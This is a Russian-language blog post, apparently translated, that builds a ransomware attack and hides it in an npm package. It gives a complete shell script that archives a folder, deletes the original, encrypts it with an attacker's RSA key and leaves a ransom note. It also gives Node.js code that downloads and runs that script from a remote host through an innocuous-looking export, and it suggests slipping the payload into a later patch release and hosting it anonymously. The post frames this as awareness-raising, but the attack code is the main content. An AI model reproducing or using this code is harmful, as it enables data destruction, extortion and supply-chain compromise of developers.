Выполнение атаки ransomware в модуле Node.js

Сообщение первоначально было опубликовано в моем блоге

Пару недель назад я экспериментировал с созданием небольшого скрипта ransomware и изучал, как запустить его в модуле Node.js. В этом посте я объясняю, как я это сделал.

⚠️ Важные замечания ⚠️

  • Я пишу этот пост в блоге исключительно в образовательных целях. Проведение атак с целью выкупа является незаконным; моя единственная мотивация — поделиться знаниями и повысить осведомленность, чтобы люди могли защитить себя.
  • Я не несу никакой ответственности за то, как вы решите использовать информацию, представленную в этом посте.

Примеры кода, приведенные ниже, были протестированы на macOS. Я предполагаю, что концепция будет такой же и для других операционных систем, но команды могут немного отличаться.

Что это делает?

Прежде чем погрузиться в код, я хочу вкратце объяснить, что делает эта атака.

Пользовательский модуль Node.js получает сценарий оболочки, размещенный на облачной платформе, создает новый файл на компьютере цели и выполняет его.
Сценарий переходит к определенной папке на компьютере цели, сжимает и шифрует эту папку с помощью асимметричного шифрования.

Это означает, что файлы цели шифруются с помощью открытого ключа злоумышленника и не могут быть расшифрованы без закрытого ключа этого же человека. В результате единственный способ вернуть свои файлы — это заплатить выкуп злоумышленнику, чтобы получить закрытый ключ.

Если это кажется вам интересным, то в этой статье мы расскажем, как это работает.

Создание сценария

Прежде всего, есть файл сценария под названием script.sh.

Он начинается с перехода к папке на компьютере цели. В целях тестирования я создал тестовую папку на рабочем столе под названием folder-to-encrypt, поэтому мой сценарий переходит на рабочий стол. В реальной атаке было бы эффективнее выбрать другую папку, например /Users.

cd /Users/<your-username>/Desktop
Вход в полноэкранный режим Выход из полноэкранного режима

Следующим шагом будет сжатие папки folder-to-encrypt с помощью tar.

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
Войти в полноэкранный режим Выход из полноэкранного режима

Флаг -czf означает:

В этот момент, запустив bash script.sh, вы увидите на рабочем столе как folder-to-encrypt, так и folder-to-encrypt.tar.gz.

В контексте ransomware люди не должны иметь доступа к исходному файлу или папке, поэтому их также необходимо удалить.

rm -rf folder-to-encrypt
Вход в полноэкранный режим Выход из полноэкранного режима

На этом этапе исходная папка удаляется, но оставшийся файл имеет сжатый формат, поэтому его можно распаковать и восстановить, дважды щелкнув по нему. Это лишает людей возможности восстановить свои файлы, поэтому следующим шагом будет асимметричное шифрование с помощью openssl.

Шифрование

Не вдаваясь в подробности, асимметричное шифрование работает с двумя ключами — открытым и закрытым. Открытый ключ используется для шифрования данных. Им можно поделиться с людьми, чтобы они могли зашифровать данные, которые, по их мнению, владелец ключа не сможет расшифровать. Закрытый ключ, с другой стороны, должен оставаться закрытым, поскольку он является ключом дешифрования.

Если данные зашифрованы с помощью открытого ключа, их можно расшифровать только с помощью соответствующего закрытого ключа.

Следующим шагом будет генерирование закрытого ключа с помощью следующей команды:

openssl genrsa -aes256 -out private.pem
Войти в полноэкранный режим Выйти из полноэкранного режима

Эта команда использует AES (Advanced Encryption Standard), а точнее 256-битное шифрование.

После выполнения вышеуказанной команды ключ сохраняется в файле private.pem.

Открытый ключ генерируется с помощью следующей команды:

openssl rsa -in private.pem -pubout > public.pem
Войти в полноэкранный режим Выйти из полноэкранного режима

После того как ключи сгенерированы, я сохраняю открытый ключ в новом файле на компьютере цели.
Это можно сделать с помощью следующих строк:

echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem
Войти в полноэкранный режим Выйти из полноэкранного режима

Получить необходимую информацию из открытого ключа можно с помощью команды:

head public.pem
Enter fullscreen mode Выйти из полноэкранного режима

Теперь сжатый файл может быть зашифрован.

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
Войти в полноэкранный режим Выйти из полноэкранного режима

Команда выше использует новый файл key.pem, созданный на компьютере цели, который содержит открытый ключ, и использует его для шифрования сжатого файла в файл folder-to-encrypt.enc. В этот момент
исходный сжатый файл все еще присутствует, поэтому его также необходимо удалить.

rm -rf folder-to-encrypt.tar.gz
Вход в полноэкранный режим Выйдите из полноэкранного режима

После этого единственный способ получить содержимое исходной папки — это получить доступ к закрытому ключу для расшифровки зашифрованного файла.

В качестве последнего шага может быть оставлена записка, сообщающая жертве о том, что ее только что взломали, и о том, как ей следует заплатить выкуп. Эта часть не является основной в данном посте.

echo "You've been hacked! Gimme all the moneyz" > note.txt
Вход в полноэкранный режим Выход из полноэкранного режима

Прежде чем перейти к запуску этого файла в модуль Node.js, я хочу вкратце рассказать о том, как расшифровать этот файл.

Расшифровка

На данном этапе выполнение следующей команды в терминале расшифрует файл и восстановит исходную сжатую версию:

openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz
Войти в полноэкранный режим Выйти из полноэкранного режима

Пример полного кода

Полный сценарий выглядит следующим образом:

cd /Users/<your-username>/Desktop

echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

rm -rf folder-to-encrypt

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

rm -rf folder-to-encrypt.tar.gz

echo "You've been hacked! Gimme all the moneyz" > note.txt
Вход в полноэкранный режим Выход из полноэкранного режима

Итак, как можно обманом заставить людей использовать его?

Спрятать выкупающее ПО в модуле Node.js

Существует несколько способов сделать это.

Один из них — упаковать сценарий оболочки как часть модуля Node.js и выполнять его при импорте пакета. Однако наличие сценария в виде файла в репозитории, вероятно, быстро вызовет некоторые сомнения.

Вместо этого я решил использовать встроенный пакет fs для получения URL-адреса, на котором размещен сценарий, копирования его содержимого в новый файл на компьютере объекта, а затем использовать child_process.execFile() для выполнения файла при импорте пакета в новый проект.

Таким образом, с первого взгляда может быть не очевидно, что модуль имеет вредоносные намерения. Особенно если файлы JavaScript минифицированы и обфусцированы.

Создание модуля Node.js

В новом модуле Node.js я начал с написания кода, который получает содержимое сценария и сохраняет его в новый файл script.sh на компьютере цели:

import fetch from "node-fetch"
import fs from "fs";

async function download() {
    const res = await fetch('http://<some-site>/script.sh');
    await new Promise((resolve, reject) => {
        const fileStream = fs.createWriteStream('./script.sh');
        res.body.pipe(fileStream);
        fileStream.on("finish", function () {
            resolve();
        });
    });
}
Войти в полноэкранный режим Выход из полноэкранного режима

Затем нужно выполнить его, чтобы запустить атаку.

const run = async () => {
    await download()
    execFile("bash", ["script.sh"]);
}

export default function innocentLookingFunction() {
    return run()
}
Войти в полноэкранный режим Выйти из полноэкранного режима

И это все для содержимого пакета! Для того чтобы настоящая атака сработала, в модуль, вероятно, следует добавить больше кода, чтобы он выглядел так, будто делает что-то полезное.

Выполнение атаки

Чтобы проверить эту атаку, я опубликовал пакет как приватный на npm, чтобы избежать случайной установки. После импорта и вызова функции по умолчанию атака срабатывает.

import innocentLookingFunction from "@charliegerard/such-a-hacker";

innocentLookingFunction();
Вход в полноэкранный режим Выйдите из полноэкранного режима

Готово! ✅

Безопасность

Вы можете подумать: «Наверняка это будет обнаружено какими-нибудь инструментами аудита безопасности?!». Из того, что я видел, это не так.

npm audit

Выполнение команды npm audit на самом деле не проверяет содержимое используемых модулей. Эта команда только проверяет, включает ли ваш проект пакеты, о которых сообщалось, что они содержат уязвимости. Пока об этом вредоносном пакете не сообщается, npm audit не будет отмечать его как потенциально опасный.

Snyk

Я не исследовал подробно, как Snyk обнаруживает потенциальные проблемы, но использование расширения Snyk VSCode также не сообщило об уязвимостях.

Socket.dev

На данный момент приложение Socket.dev GitHub поддерживает только обнаружение опечаток, поэтому я не использовал его для этого эксперимента.

Дополнительные мысли

«Сначала вам придется заставить людей установить пакет».

Лично я считаю, что это самая простая часть всего процесса.

Люди устанавливают множество различных пакетов, даже небольшие служебные функции, которые они могли бы написать сами. Я могу создать легальный пакет, опубликовать первую версию без вредоносного кода, заставить людей использовать его, а затем добавить вредоносный код в обновлении патча.
Не все проверяют, что добавляется в патчах или минорных обновлениях версий, прежде чем слить их.
В какой-то момент некоторые люди поймут, откуда взялась программа-вымогатель, и отметят ее, но к тому времени, когда они это сделают, атака уже затронет определенное количество пользователей.

Сохранять анонимность

В данном случае у меня нет достаточных знаний, чтобы гарантировать, что злоумышленник не будет найден по адресу электронной почты, использованному для публикации пакета на npm, или по отслеживанию транзакций с выкупом. Возможно, есть интересные вещи, которые можно узнать об отмывании денег, но я ничего об этом не знаю.

Что касается места размещения скрипта, я использовал платформу, которая позволяет развернуть сайт без необходимости регистрации, так что таким образом, возможно, не будет простого способа восстановить личность злоумышленника.

Последнее замечание

Я хотел закончить на важном моменте, который является основной причиной, по которой я экспериментировал с этим.

Мне потребовалось несколько часов в воскресенье днем, чтобы собрать все это вместе, без какой-либо подготовки в области безопасности.

Часть меня надеялась, что это невозможно или, по крайней мере, не так просто, поэтому я буду чувствовать себя более комфортно, используя случайные пакеты, но теперь я думаю немного по-другому.

Я заинтересован только в том, чтобы узнать, как работают вещи, но это не так для всех, поэтому если я могу это сделать, то и многие другие люди со злым умыслом тоже могут…

Я не знаю, можно ли полностью избежать подобных атак, но будьте осторожны при установке пакетов, регулярно обновляйтесь и дважды подумайте, прежде чем объединять обновления без проверки журналов изменений и изменений файлов.

Оцените статью
Procodings.ru
Добавить комментарий